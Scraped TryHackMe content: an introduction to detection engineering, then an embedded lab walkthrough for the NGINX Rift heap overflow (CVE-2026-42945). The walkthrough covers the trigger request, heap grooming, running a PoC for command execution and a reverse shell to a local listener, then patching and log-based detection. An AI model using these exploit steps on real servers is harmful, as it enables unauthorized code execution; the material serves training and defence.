![\"Meme](\"https://tryhackme-images.s3.amazonaws.com/user-uploads/68dac5d6d4d4f23175b3296f/room-content/68dac5d6d4d4f23175b3296f-1776713673509.png\")
Note: This room is a refreshed version of Intro to Detection Engineering. The original may be retired in the coming months, so we recommend using this new version instead. Don't forget to leave feedback to help us shape future updates.
\nAs a SOC analyst, you deal with alerts every day: triaging, investigating, escalating. But have you ever stopped to ask where those alerts actually come from? Who decides what gets detected, and what gets missed? These questions can be answered with the Detection Engineering process in security teams. Before moving on to rule creation, you will learn concepts to develop an engineering mindset and understand the Detection Engineering process. This knowledge equips you to spot gaps better and develop consistent detections.
\n
You don't want to be that guy.
\nBy the end of this room, you will be able to:
\nBefore starting this room, we recommend you have previous knowledge of what a SIEM is and how SOC alerts work:
\n What is Detection Engineering?Your SIEM is ingesting millions of events a day. You have 100 alerts firing every hour, and all analysts are drowning in them. Most of the alerts are noise, but somewhere in that pile, a real attacker has been sitting undetected in your network for three weeks.
\nSound familiar? This scenario plays out in real SOCs every day. But here's the thing: the alerts that failed were built by someone. Someone decided what to detect, how to detect it, and what to ignore.
That \"someone\" is a detection engineer, and their discipline is Detection Engineering (DE).
![\"Image](\"https://tryhackme-images.s3.amazonaws.com/user-uploads/5fc2847e1bbebc03aa89fbf2/room-content/0f5d6dc6d66a2678c4588704d5e874b5.png\")
At its core, Detection Engineering is the systematic process of designing, building, testing, and maintaining the detections that power a SOC. It sits at the intersection of threat intelligence, data engineering, and security analysis, translating knowledge of attacker behavior into actionable signals.
\nUnlike a SOC analyst, who responds reactively to what the tooling surfaces, a detection engineer works proactively, studying attacker techniques and building detections before threats materialize. As an L2, understanding this discipline means you can contribute to improving the system you work in, not just operate within it.
\nThere's not a singular answer. The placement of the Detection Engineering subject varies significantly across organizations. This happens for several reasons, such as the total budget a company has to invest in a dedicated team and the maturity of its SOC processes.
\nIn some cases, all the detections are handled by L2 and L3 analysts from the SOC team. The diagram below illustrates three different ways in which Detection Engineering is implemented in companies based on their resources and maturity:
\n![\"Diagram](\"https://tryhackme-images.s3.amazonaws.com/user-uploads/68dac5d6d4d4f23175b3296f/room-content/68dac5d6d4d4f23175b3296f-1775745039413.png\")
Regardless of the team structure, detection engineers rely on a common set of tools to do their work:
\n| Tool | \nExamples | \nPurpose | \n
|---|---|---|
| SIEM | \nSplunk, Microsoft Sentinel, Elastic | \nWrite and deploy detection rules against ingested log data. | \n
| EDR | \nCrowdStrike, SentinelOne, Microsoft Defender | \nWrite and deploy detection rules against host-level telemetry. | \n
| Threat Intelligence Sources | \nMISP, OpenCTI, The DFIR Report | \nResearch attacker TTPs and map them to detection opportunities. | \n
| Automation | \nPython scripts, SOAR platforms | \nAutomate detection testing, alert enrichment, and deployment pipelines. | \n
| Version Control | \nGit, GitHub | \nTrack changes to detection logic and manage review workflows. | \n
| Lab / Testing Environments | \nAtomic Red Team, custom VMs, BAS solutions | \nSimulate attacker techniques to validate detections before deployment. | \n
What Does a Detection Engineering Team Do?
\nThe core activities of a Detection Engineering team are based around three pillars:
\n| Pillar | \nDescription | \n
|---|---|
| Detection Creation | \nResearch a threat technique, translate it into detection logic, and deploy it to the SIEM or EDR. | \n
| Detection Tuning | \nRefine detection logic to reduce false positives without creating blind spots. | \n
| Detection Management | \nTrack, document, version, and deprecate detections to keep the detection library healthy over time. | \n
Beyond these three pillars, Detection Engineering teams often also take on automation, threat intelligence, and threat hunting. The exact scope varies widely because there is currently no industry-wide standardization of what a Detection Engineering team owns.
\nSenna is a SOC manager looking to improve his SOC detection maturity. He hired you, an experienced SOC L2 analyst, to help him decide how to build this high-maturity team.
\nBy answering his questions correctly, you will receive flags that will let you complete each task in this room.
Use the View Site button below to interact with Senna. Help him!
Let's revisit the word \"Engineering\" for a moment, because you are seeing it a lot.
\nIn software engineering, you don't just write code and ship it. You design, build, test, review, deploy, monitor, and iterate. There's a process with a structured life cycle that separates a reliable, maintainable system from a fragile one.
\nDetection Engineering is no different. Writing a SIEM query that catches a known-bad behavior isn't engineering. Engineering is what ensures that the query is built on solid threat research, validated against real data, tested for accuracy, documented, deployed with version control, monitored for drift, and revised when attacker behavior changes. Without that structure, your mistake appetite will be high, leading to tons of poor alerts (or missing attacks), making the SOC analyst's life a nightmare. This is why the \"Engineering\" in Detection Engineering matters: it's a commitment to treating detections as products, not scripts.
\nWhile there is no single universally adopted standard, most Detection Engineering teams operate around a common life cycle. The exact stages and their names vary between organizations and frameworks, but the underlying logic is consistent:
\n![\"Diagram](\"https://tryhackme-images.s3.amazonaws.com/user-uploads/68dac5d6d4d4f23175b3296f/room-content/68dac5d6d4d4f23175b3296f-1776108667064.png\")
Note that there are two feedback loops in the diagram above: if a detection fails testing, it goes back to design, not to deployment, with fingers crossed. And when attacker TTPs change significantly, the life cycle restarts from threat research.
\nSome great detection engineers developed frameworks to bring structure to Detection Engineering and help the community. You don't need to memorize them, but you should know they exist to use as a reference to enhance your own pipeline.
\nThese frameworks all share a common premise: good detections are engineered, not improvised. The specific framework you use (if any) matters less than having a structured, smoother process.
Mentality of a Detection EngineerWriting a detection is a technical task. Thinking like a detection engineer is something else entirely. The tooling and querying skills are learnable, but the mindset is what separates engineers who build high-quality detections from those who build detections that are easily bypassed. In this task, you will explore some concepts that build a strong detection engineering mentality.
\nThere's an uncomfortable truth at the heart of detection engineering: you are always playing catch-up. Attackers move first. They research, develop, and deploy a technique, and only after it's observed in the wild does the defender community begin building detections and documenting it. By the time a detection is mature and widely deployed, a motivated attacker has often already moved on to a variation or an entirely different approach. This dynamic is visualized as the detection gap:![\"Graph](\"https://tryhackme-images.s3.amazonaws.com/user-uploads/68dac5d6d4d4f23175b3296f/room-content/68dac5d6d4d4f23175b3296f-1776713832460.png\")
The gap between the evasion capability curve and the defender's detection curve never fully closes. A Detection Engineer's job is not to eliminate that gap; it's to keep it as narrow as possible. This leads to a classic question: Since defenders are always one step behind, will attackers win every time?
\nNo, you will not detect everything, and you don't need to. If we revisit the concept of an attack chain, an attacker does not perform a single isolated technique; they execute a subset of techniques.
\nThis means an attacker will use multiple known techniques in their attack chain. That's the opportunity the detection engineer has: attackers need to succeed at every step of a kill chain, while defenders only need to catch one to start investigating and acting. So, even detecting a minority of techniques can be sufficient to disrupt an attack.
\n![\"Diagram](\"https://tryhackme-images.s3.amazonaws.com/user-uploads/68dac5d6d4d4f23175b3296f/room-content/68dac5d6d4d4f23175b3296f-1776109504311.png\")
Note in the diagram above that even known techniques can be bypassed by an attacker (Masquerading). This may happen due to different ways of implementing a technique, or because the DE team's strategy did not prioritize that specific detection (Step 0 in the life cycle).
\nStealth is the attacker's primary goal, and regardless of your role in a SOC, you should know that. Every choice they make, from how they execute code to how they move laterally, is optimized to avoid generating alerts. They study the same detection logic that defenders publish. They test their tools against commercial EDRs. They know which event IDs are forwarded to SIEMs and which ones aren't. They deliberately operate in the margins of what looks normal.
\nDurable detections are built on what an attacker must do, the actions that are so fundamental to a technique that they can't be easily avoided without abandoning the technique entirely. This is the core insight behind the Pyramid of Pain. The higher up the pyramid you anchor your detections, from hash values and IP addresses at the base, up through tools and behaviors at the top, the more it costs the adversary to evade you. Detections built on TTPs are harder to break when an attacker rotates infrastructure or recompiles a binary. They break the attacker's operation. We will explore how to create and research durable detections in the Detection Rules Development room (coming soon).
\nWriting a detection that fires is easy. Writing one that fires correctly, reliably catching real threats without burying analysts in noise. When creating detections, you should always prioritize their performance, which can be challenging.
\nTo reason about that challenge, detection engineers borrow two concepts from statistics: precision and recall.
\nThe missed ones, called false negatives, are the most dangerous outcome, because they produce no alert at all. No noise, no complaint, just a silent gap an attacker can walk through.
\n![\"Diagram](\"https://tryhackme-images.s3.amazonaws.com/user-uploads/68dac5d6d4d4f23175b3296f/room-content/68dac5d6d4d4f23175b3296f-1775761396476.png\")
Keeping this tension consciously in mind, and measuring it over time through real SOC outcomes, not just gut feel, is what separates engineers who build detections that hold up from those who just ship queries and move on.
\"The better you research and test a detection, the better your precision and recall values.\"
Detection Engineering ChallengesDetection Engineering is a discipline that looks clean on a diagram and gets complicated fast in practice. Most challenges aren't about writing detection logic; they're about everything surrounding it.
\n![\"An](\"https://tryhackme-images.s3.amazonaws.com/user-uploads/68dac5d6d4d4f23175b3296f/room-content/68dac5d6d4d4f23175b3296f-1776713871904.png\")
| Challenge | \nDescription | \nLife Cycle Related Phase | \n
|---|---|---|
| Missing log sources | \nThe log source that a detection depends on may not be collected or forwarded to the SIEM at all, causing the rules to never fire silently. | \nStep 2: Data Review | \n
| Parsing problems | \nEven when data arrives, incorrect field names, malformed timestamps, or split events can silently break detection logic. | \nStep 3: Detection Design | \n
| Data volume decisions | \nNot every log should be ingested. High-volume, low-signal sources inflate costs and slow queries, forcing constant trade-offs on what to keep. | \nStep 2: Data Review | \n
| No testing environment | \nWithout a realistic lab, detections reach production unvalidated, turning every deployment into a live experiment. | \nStep 4: Testing & Validation | \n
| Detection library decay | \nRules written for old environments, deprecated tools, or patched vulnerabilities keep running and generating noise that nobody investigates. | \nStep 6: Maintenance | \n
| Alert fatigue | \nToo many low-quality alerts train analysts to dismiss everything, including real threats buried in the noise. | \nStep 4: Testing & Validation | \n
| TTP drift | \nAttacker techniques evolve. A detection accurate last quarter may be blind to this quarter's variant without continuous updates. | \nStep 1: Threat Research | \n
| Adjacent responsibilities | \nDocumentation, metrics, and automation pull Detection Engineers away from core detection work, competing for the same limited time. | \nAll steps | \n
These challenges are real, but they are not unique to your team; every Detection Engineering practitioner faces them. The difference lies in how much investment the team has to address them. A single analyst absorbing DE responsibilities alongside SOC work will feel all of these simultaneously. A mature team with dedicated roles, tooling, and processes will face the same challenges but with the resources to systematically tackle them one by one.
\nTwo examples of how this plays out in practice:
\nThe more the team grows and matures, the more these challenges shift from fires to managed processes.
ConclusionDetection Engineering is the discipline that sits behind every alert your SOC depends on. Throughout this room, you explored what Detection Engineering is and where it lives in a security organization, how the detection life cycle structures the work from threat research all the way through to maintenance, the mindset required to build detections that hold up against real attackers, and the practical challenges every DE team faces regardless of size or maturity.
Before moving on, make sure you are comfortable with the following:
You now have the foundation. The next step is putting it into practice. Head over to the Detection Rules Development room (coming soon) to start building your first detections from scratch!
","timeToComplete":30,"title":"Intro to Detection Engineering","type":"walkthrough","order":1},{"_id":"6a091dedfc6b97179e91edcd","businessOnly":false,"code":"cve202642945","collaborator":[],"contentDropPriority":0,"description":"Exploit NGINX Rift, an unauthenticated heap overflow RCE in NGINX's rewrite module since 2008.","difficulty":"easy","difficultyLevel":2,"flags":{"isAzureContent":false},"freeToUse":true,"headerImage":"https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/645b19f5d5848d004ab9c9e2-1778053654693","imageURL":"https://tryhackme-images.s3.amazonaws.com/room-icons/645b19f5d5848d004ab9c9e2-1778983895413","isShortScenario":false,"kind":"rooms","lastSyncedAt":"2026-05-27T07:00:14.838Z","noUsers":878,"paidAccess":{"active":false,"streak":{"enabled":false}},"published":"2026-05-25T15:00:04.576Z","roomCreatorType":"tryhackme","rooms":[],"scenarioFlags":[],"tagDocs":[{"tag":"Security Analyst/ Blue Team","label":"Security Analyst/ Blue Team","weight":1,"category":"Job Roles","_id":"6a1696845ba5af21a079fe2d"},{"tag":"Penetration Tester/ Red Team","label":"Penetration Tester/ Red Team","weight":1,"category":"Job Roles","_id":"6a1696845ba5af21a079fe2e"},{"tag":"Linux","label":"Linux","weight":1,"category":"Technology","_id":"6a1696845ba5af21a079fe2f"},{"tag":"Purple","label":"Purple","weight":1,"category":"PoV","_id":"6a1696845ba5af21a079fe30"},{"tag":"Privilege escalation","label":"Privilege escalation","weight":1,"category":"Skills","_id":"6a1696845ba5af21a079fe31"},{"tag":" Linux Privilege Escalation","label":" Linux Privilege Escalation","weight":1,"category":"General","_id":"6a1696845ba5af21a079fe32"},{"tag":"segment 2.5","label":"segment 2.5","weight":1,"category":"Segment","_id":"6a1696845ba5af21a079fe33"}],"tags":["Security Analyst/ Blue Team","Penetration Tester/ Red Team","Linux","Purple","Privilege escalation"," Linux Privilege Escalation","segment 2.5"],"taskSearchText":" From Heap Overflow to Code ExecutionA heap overflow alone is not code execution. To turn the overflow into a useful primitive, an attacker has to overwrite something on the heap that the worker process will later use as a pointer, ideally as a function pointer. NGINX's own memory management offers a convenient target.
\nNGINX allocates memory through per-request memory pools, represented by the ngx_pool_t structure. Each pool tracks its current allocation cursor, a chain of large allocations, and a linked list of cleanup callbacks. The cleanup list is the relevant field. Each entry is a ngx_pool_cleanup_t containing a function pointer (handler) and an argument pointer (data). When the pool is destroyed, NGINX walks the list and calls handler(data) for each entry. If an attacker controls the cleanup list, they control the function pointer and the argument, and system() with an attacker-supplied command string is a clean choice.
The cleanup pointer sits at offset 64 inside ngx_pool_t, after several earlier fields. A contiguous heap overflow from a preceding pool will therefore corrupt all of those earlier fields on the way to the cleanup pointer. If the corrupted pool is used again for any allocation, network read, or further request processing, NGINX will dereference one of those corrupted fields and the worker will crash before reaching the cleanup phase.
The exploitation primitive must therefore corrupt the cleanup pointer and then trigger the pool's destruction immediately, before any of the other corrupted fields are touched. The depthfirst writeup describes the resulting technique as a cross-request heap feng shui, where the attacker arranges the pool layout and the lifecycle ordering using a careful sequence of HTTP connections.
\nThe published sequence proceeds in four stages. An attacker first opens a connection and sends only partial HTTP headers, which causes NGINX to allocate a request pool but not to start processing the request. A second connection is opened immediately after, causing the pool allocator to place the second connection's pool directly adjacent to the first. The attacker then completes the headers of the first connection in a way that triggers the rewrite overflow, so the overflow runs out of the first pool and into the header of the second, adjacent pool. Finally, the attacker closes the second connection, which causes NGINX to call ngx_destroy_pool on the corrupted pool. The destroy path walks the cleanup list and never touches the other corrupted fields, so the worker calls the attacker's chosen handler with the attacker's chosen argument and does not crash before reaching it.
A second restriction has to be circumvented. The bytes written by the overflow must survive URI escaping, so any value written into the cleanup pointer must consist entirely of URI-safe bytes. An attacker therefore cannot write a fully arbitrary 64-bit pointer in a single overflow. The published PoC works around this in two ways. First, the heap layout is deterministic across worker restarts because each worker inherits its parent's address space layout, so the location of any sprayed structure is predictable across attempts. Second, the attacker sprays many fake ngx_pool_cleanup_t structures using HTTP POST request bodies, which (unlike URIs or headers) are forwarded into NGINX worker memory as raw bytes without escaping. POST bodies can therefore contain real binary pointers, including null bytes.
The spray populates the worker's heap with thousands of fake cleanup structures at predictable offsets. The attacker repeatedly retries the exploit, each time using a different low-byte overwrite to redirect the cleanup pointer until it lands on one of the sprayed fake structures. The combination of deterministic layout, a respawning worker process, and many sprayed candidates means that the brute-force search converges quickly.
\nTwo assumptions are worth highlighting. The first is that the exploit as published demonstrates RCE only when ASLR is disabled at the operating system level. With ASLR enabled, base addresses change across the master process's address space, and the sprayed pointers must be discovered before they can be used. The depthfirst writeup notes that the byte-by-byte overwrite of pointers in the cleanup list can theoretically be used to leak ASLR over many attempts, but the published proof-of-concept does not implement that step.
\nThe second is that the overflow remains a reliable denial-of-service primitive even with ASLR enabled. Any request matching the vulnerable configuration with a long enough run of escapable characters will corrupt the heap and crash a worker. A small loop of such requests will keep NGINX in a constant restart cycle and effectively take the front-door web server offline.
\n![\"Four-stage](\"https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/645b19f5d5848d004ab9c9e2-1778988322281.svg\")
NGINX Rift is a heap buffer overflow in the ngx_http_rewrite_module of NGINX that allows an unauthenticated remote attacker to crash a worker process or, under favourable memory conditions, achieve remote code execution. The bug has been present in the codebase since 2008 and was disclosed on 13 May 2026 by depthfirst, alongside three other memory corruption issues identified during the same audit.
Key facts:
\nThe vulnerability is not reachable on every NGINX install. It requires a configuration that uses the rewrite directive with an unnamed PCRE capture (such as $1 or $2), a replacement string containing a question mark, and a subsequent rewrite, if, or set directive in the same scope. This pattern is common in production deployments that perform legacy URL canonicalisation, API gateway routing, or path preservation across migrations, so the realistic exposure is considerably broader than the trigger condition might first suggest.
Three other vulnerabilities were disclosed alongside Rift in the same audit. The full set is summarised below:
\n| CVE | \nSubsystem | \nSeverity | \nImpact | \n
|---|---|---|---|
CVE-2026-42945 (Rift) | \nngx_http_rewrite_module | \n9.2 Critical | \nHeap overflow, RCE | \n
CVE-2026-42946 | \nngx_http_scgi_module, ngx_http_uwsgi_module | \n8.3 High | \nHeap overread on crafted upstream response (AitM), worker memory disclosure or DoS | \n
CVE-2026-40701 | \nngx_http_ssl_module | \n6.3 Medium | \nUse-after-free on OCSP DNS path | \n
CVE-2026-42934 | \nngx_http_charset_module | \n6.3 Medium | \nOut-of-bounds read on UTF-8 boundary | \n
Rift is the most severe of the four because it is unauthenticated, deterministic in heap layout across worker processes, and reachable on widely deployed configurations. The same multi-process architecture that makes NGINX a reliable web server (a master process and several identical workers, each with a duplicated address space) also makes the bug forgiving to exploit. A failed attempt only crashes a worker; the master immediately respawns a fresh worker with the same memory layout, so an attacker can retry until the exploit succeeds.
\nBy the end of this room, you will be able to:
\nrewrite and set directives in NGINX request processingCVE-2026-42945This room assumes comfort with HTTP request structure, the basics of reverse proxying, and operation from a Linux command line. Familiarity with the Web Fundamentals module and the Linux Fundamentals module is sufficient. Prior exposure to heap memory corruption concepts is helpful but not required; the relevant heap concepts are introduced in Task 4 as they appear.
\nClick the Start Lab Machine button at the top of this task and allow about a minute for the machine to boot. The room provides a graphical VNC session that opens in a new browser window; the desktop session is already logged in as the ubuntu user. The vulnerable NGINX target runs on port 19321, so the target is reachable from the VNC desktop at http://127.0.0.1:19321/ and from a remote attacker at http://MACHINE_IP:19321/, where MACHINE_IP is the address shown at the top of this task. The full launch state and the exploitation procedure are covered in Task 5.
The root cause of CVE-2026-42945 is a single internal flag that the script engine sets in one pass and reads in the other, despite the two passes running against different engine instances. The flag is is_args, defined on struct ngx_http_script_engine_t. It indicates whether the engine is currently writing into the query-string portion of a URL, and it controls whether captured values are URI-escaped before being written.
When a rewrite replacement string contains a question mark, the compiled bytecode includes a call to ngx_http_script_start_args_code. That function sets e->is_args = 1 on the main script engine. The flag is never explicitly reset before subsequent compiled directives execute. For a configuration where rewrite is followed by set, the main engine therefore carries is_args = 1 into the evaluation of the set directive.
The set directive uses a separate path when its right-hand side references a regex capture. The relevant function is ngx_http_script_complex_value_code, which executes the length-calculation pass against a fresh, fully zeroed sub-engine, conventionally named le. The author of the original code did this so the length calculation could not be polluted by state left over from earlier operations. The actual copy pass, however, still runs on the main engine e, with is_args unchanged.
The decision to escape or not escape a captured value is made by ngx_http_script_copy_capture_len_code (used during the length pass) and ngx_http_script_copy_capture_code (used during the copy pass). Both functions check the same condition before deciding whether to call ngx_escape_uri. The condition combines the engine's is_args flag with whether the request URI contained characters that need escaping.
During the length pass, le.is_args is zero because the sub-engine was zeroed. The condition evaluates false, the function takes the simple path, and returns the unescaped capture length, which is the raw number of bytes in the captured substring. During the copy pass, e->is_args is still one because the main engine was never reset. The condition evaluates true, the function takes the URI-escaping path, and writes the escaped capture into the buffer.
For URI-safe characters that escaping leaves untouched, the two passes produce the same number of bytes and the mismatch goes unnoticed. For escapable characters, escaping replaces each character with its three-byte %xx percent-encoded form. The plus sign, for example, escapes to %2B. If the captured substring contains N escapable characters, the copy pass writes raw_size + 2 * N bytes into a buffer that was allocated for only raw_size bytes. The result is a deterministic, attacker-controlled overflow on the NGINX worker's memory pool.
The trigger configuration in the published advisory is short:
\nlocation ~ ^/api/(.*)$ {\n rewrite ^/api/(.*)$ /internal?migrated=true;\n set $original_endpoint $1;\n}The rewrite replacement string contains a question mark, so is_args is set on the main engine. The set directive references the unnamed capture $1, so it routes through ngx_http_script_complex_value_code and the two-pass mismatch fires. If the client request URI for this location contains plus signs (or any other URI-escapable character) inside the captured part, those characters are counted as one byte each by the length pass and three bytes each by the copy pass.
A request that triggers a manageable overflow against the configuration above looks like the request below. The URI is constructed to land in the vulnerable location block, the captured part (.*) contains a long run of plus signs, and each plus is later escaped to %2B during the copy pass.
GET /api/+++++++++++++...+++++++++++++ HTTP/1.1\nHost: localhostFor 2,000 plus signs in the capture, the length pass reserves 2,000 bytes and the copy pass writes 6,000 bytes. The 4,000-byte difference is written past the end of the allocated pool chunk, into whatever adjacent heap memory the pool allocator placed next to it. Turning that into code execution is the subject of Task 4.
\nA second restriction worth recording at this point is that the overflow bytes pass through ngx_escape_uri, which only emits ASCII bytes that are valid in a URI. Null bytes, control characters, and any byte outside the URI-safe set cannot be written by the overflow. An attacker must therefore construct any binary payload, including pointers, through other means.
![\"Two-column](\"https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/645b19f5d5848d004ab9c9e2-1778988254427.svg\")
The two NGINX directives at the centre of CVE-2026-42945 are rewrite and set. Both are routine building blocks of production configurations, and both have well-defined, documented behaviour. In this section, we describe what they do and why they are commonly chained, before showing how the chain triggers the bug in Task 3.
The rewrite directive modifies the request URI based on a regular expression match. When NGINX matches a request URI against the pattern, the directive replaces the URI with a new string. A typical configuration might rewrite all paths under /api/ to a versioned backend path. The configuration below routes any request whose URI starts with /api/ to the equivalent path under /v2/api/, preserving everything after /api/ through the unnamed capture $1.
location ~ ^/api/(.*)$ {\n rewrite ^/api/(.*)$ /v2/api/$1;\n}A request for /api/users/42 is rewritten internally to /v2/api/users/42 before NGINX hands it on for further processing. The string $1 in the replacement is an example of a regex back-reference, where $1 corresponds to the first parenthesised group in the matching pattern. NGINX supports the standard PCRE capture syntax; captures are unnamed by default, which is the form $1, $2, and so on.
A subtle behaviour matters here. If the replacement string contains a question mark, NGINX treats everything after the question mark as a new query string and discards the request's original arguments. The replacement /internal?migrated=true rewrites the path to /internal and replaces the query string with migrated=true. This is the documented way to drop or rewrite query parameters during URL canonicalisation.
The set directive assigns a value to a custom variable that NGINX maintains for the lifetime of the request. The value can be a constant, another variable, or a back-reference to the most recently evaluated regular expression. Variables defined with set are typically used to preserve information that would otherwise be lost across a rewrite, or to compose values used later in proxy headers, log formats, or further routing decisions. A common pattern saves the original captured path to a variable so that backend applications and access logs retain visibility of what the client originally requested.
location ~ ^/api/(.*)$ {\n rewrite ^/api/(.*)$ /v2/api/$1;\n set $original_endpoint $1;\n}The set directive runs after the rewrite, and the back-reference $1 still refers to the capture from the regex evaluated against the original /api/(.*)$ path. The chain therefore performs two related operations against the same capture group, in a documented and supported order.
Under the surface, NGINX does not interpret either directive at request time. Both directives are compiled at configuration load into a sequence of operations executed by an internal script engine. At runtime, the engine walks the compiled operations in a two-pass process. The first pass calculates the total length of the final output string so the script engine can allocate exactly the right amount of memory from its per-request pool. The second pass writes the actual data into that buffer. The design is performant because it avoids repeated small allocations, but it depends on the length calculation in the first pass matching the data written in the second pass exactly. The state mismatch that breaks this assumption is the subject of Task 3.
\n![\"Flow](\"https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/645b19f5d5848d004ab9c9e2-1778988180831.svg\")
Open a terminal in the VNC desktop. The container should already be up from the provisioning step. Confirm its state with docker ps, filtering on the compose project label so the output is short.
sudo docker ps --filter label=com.docker.compose.project=nginx-riftThe output shows a single running container named nginx-rift-nginx-1, with port 19321/tcp mapped to 0.0.0.0:19321 on the host.
Verify the target is responsive with a benign request. A normal request to the vulnerable location block returns a 200 response with the rewritten URI.
curl -s \"http://127.0.0.1:19321/api/users/42\"The exploit driver poc.py accepts two mutually exclusive operating modes. The first, --cmd, executes a single shell command through the system() handler and exits. The second, --shell, generates a Python reverse shell, listens for the connection on the host, and drops you into an interactive session inside the container.
Run the single-command mode first, with a payload that writes a marker file to /tmp/pwned inside the container. The time prefix records how long the brute-force loop takes to land.
time python3 poc.py --cmd 'echo hello from depthfirst > /tmp/pwned'Successful exploitation prints crashed - system(\"...\") executed to stdout, typically within thirty seconds to two minutes. The PoC iterates through a hardcoded list of heap-offset candidates and retries each up to ten times. The master's respawn loop hides individual failures.
Once the PoC reports success, verify the command ran inside the container by reading the marker file with docker exec.
sudo docker exec nginx-rift-nginx-1 cat /tmp/pwnedThe file contents should be hello from depthfirst. Because the cleanup handler runs as root in this lab, the marker file is also owned by root.
The --shell mode generates a Python reverse-shell command, spawns a local netcat listener on the host, and runs the exploit against the same target. The listener IP defaults to 172.17.0.1, which is the host's address on the Docker bridge that the container is attached to, so no flag overrides are required for the published setup.
python3 poc.py --shellThe driver prints the generated reverse-shell command, starts a listener on TCP port 1337, and runs the brute-force loop. On a successful trigger, the listener catches the inbound connection and you receive an interactive /bin/sh prompt running as the NGINX worker user inside the container.
From the prompt, confirm you have root inside the container and read the flag baked into the image.
\nid\ncat /flag.txtThe id output confirms the cleanup handler is executing as root, which is the upstream image's default. The flag at /flag.txt is in the THM{...} format and is the room's primary objective.
Take care when running commands inside the reverse shell: the worker process is still subject to the master's lifecycle, and long-running commands can be terminated when the next exploit attempt corrupts a sibling worker. Keep interactive sessions short and copy any output you need back to the listener promptly.
Detection and MitigationTwo layers of defence apply to CVE-2026-42945. The first is the upstream patch, which restores propagation of is_args into the sub-engine used by ngx_http_script_complex_value_code. The second is a configuration-level workaround that side-steps the trigger pattern without waiting for a patched binary.
NGINX Open Source 1.30.1 and 1.31.0 contain the fix. NGINX Plus customers receive the fix in R32 P6 and R36 P4. F5 has separately published patched versions of NGINX App Protect WAF, NGINX App Protect DoS, NGINX Gateway Fabric, NGINX Ingress Controller, and the F5 WAF and DoS products that embed NGINX. The vendor advisory at https://my.f5.com/manage/s/article/K000160932 lists exact fixed versions per product family.
Distributions have shipped patched packages on their usual channels. Distribution-packaged NGINX should not be assumed safe based on the package name; the actual NGINX version and the active configuration both matter. On Debian-derived systems, nginx -v and apt-cache policy nginx together show the installed version and the available upgrade. On Red Hat-derived systems, nginx -v and dnf info installed nginx provide the same information.
On hosts where an immediate upgrade is not possible, the vulnerability can be neutralised by replacing every unnamed PCRE capture in an affected rewrite directive with a named capture. The bug is reachable only through the unnamed-capture code path; named captures use a different evaluation function that is not affected by the is_args state mismatch.
The trigger configuration from Task 3 is mitigated by changing the unnamed (.*) to a named capture such as (?<path>.*) and updating the set to reference $path instead of $1.
location ~ ^/api/(?<path>.*)$ {\n rewrite ^/api/(?<path>.*)$ /internal?migrated=true;\n set $original_endpoint $path;\n}The behaviour of the configuration is preserved. The trigger is removed. This workaround should be treated as a temporary measure rather than a permanent fix, as it is sensitive to future changes elsewhere in the codebase.
\nThe same property that makes the bug exploitable also makes it visible. A successful exploit attempt produces a burst of long, plus-padded URIs to the same vulnerable location, followed by a sequence of worker restarts. Either signal on its own is suspicious; the combination is unambiguous.
NGINX access logs capture every request URI as long as logging is configured for the affected location block. A simple grep against access.log for unusually long URIs containing high run-lengths of plus signs surfaces probe and exploit traffic. The example below extracts requests whose URI contains thirty or more consecutive + characters, which is well above any benign client behaviour.
grep -E '\\+{30,}' /var/log/nginx/access.logNGINX error logs, on the other hand, record worker process restarts when the master log level is set to notice or higher. A spike in worker process N exited on signal 11 entries within a short window indicates that something is crashing workers regardless of the cause, and should be correlated with the access log timestamps. The depthfirst PoC also leaves a distinctive pattern of half-open connections and immediate-closed connections on the affected port; a ss -t snapshot during an active attack shows many connections in the CLOSE_WAIT and LAST_ACK states.
Web application firewall rules can be deployed in front of NGINX to block requests whose URI contains long runs of escapable characters, but care should be taken to avoid blocking benign clients that legitimately pass escapable characters in path components. A safer signature targets the specific combination of an URI matching a known rewrite pattern with a payload above a length threshold and a high proportion of plus signs.
ConclusionNGINX Rift is a state-mismatch bug rather than a parser bug or a logic bug. The vulnerability exists because one engine instance was reset and another was not, and because a single boolean flag silently changes the meaning of a downstream length calculation. The class of bug is older than the eighteen years the vulnerability has lived in the NGINX codebase; equivalent two-pass length-then-copy patterns occur in many performance-oriented C codebases, and a search of historical CVE feeds turns up close cousins in HTTP parsers, RPC frameworks, and database query builders.
\nThree operational lessons stand out. The first is that configuration matters as much as version. A patched NGINX with a vulnerable rewrite pattern still defines the attack surface; an unpatched NGINX with no rewrite directives at all has no exposure. A version inventory alone is therefore not sufficient to triage exposure to CVE-2026-42945. Configuration review against the trigger pattern (unnamed PCRE capture, replacement string containing a question mark, subsequent rewrite, if, or set directive) is required to scope risk accurately.
The second is that worker respawn architectures are double-edged. The same property that makes NGINX a robust web server in the face of crashes is what makes the bug forgiving to exploit. Architectural choices made for availability often create useful behaviours for an attacker, and the assumption that a crash is the worst possible outcome can hide the existence of an underlying corruption primitive.
\nThe third is that long-lived code with no recent security activity is not the same as proven code. The is_args flag in ngx_http_script.c has been in the codebase since 2008. It survived eighteen years of code review, integration testing, and production deployment, and an automated whole-repository analysis surfaced it on a six-hour scan once the right kind of analysis was pointed at it. Periodic re-audit of stable code is therefore as important as catching new bugs in fresh changes.
The vulnerability class continues to be the subject of active research. The depthfirst disclosure mentions that three further memory corruption issues were identified in the same audit (covered briefly in Task 1), and the broader pattern of state-mismatch bugs is explored further in the context of Copy Fail and the Dirty Frag Linux kernel rooms, where a similar but kernel-side mismatch creates a different primitive on a different target.
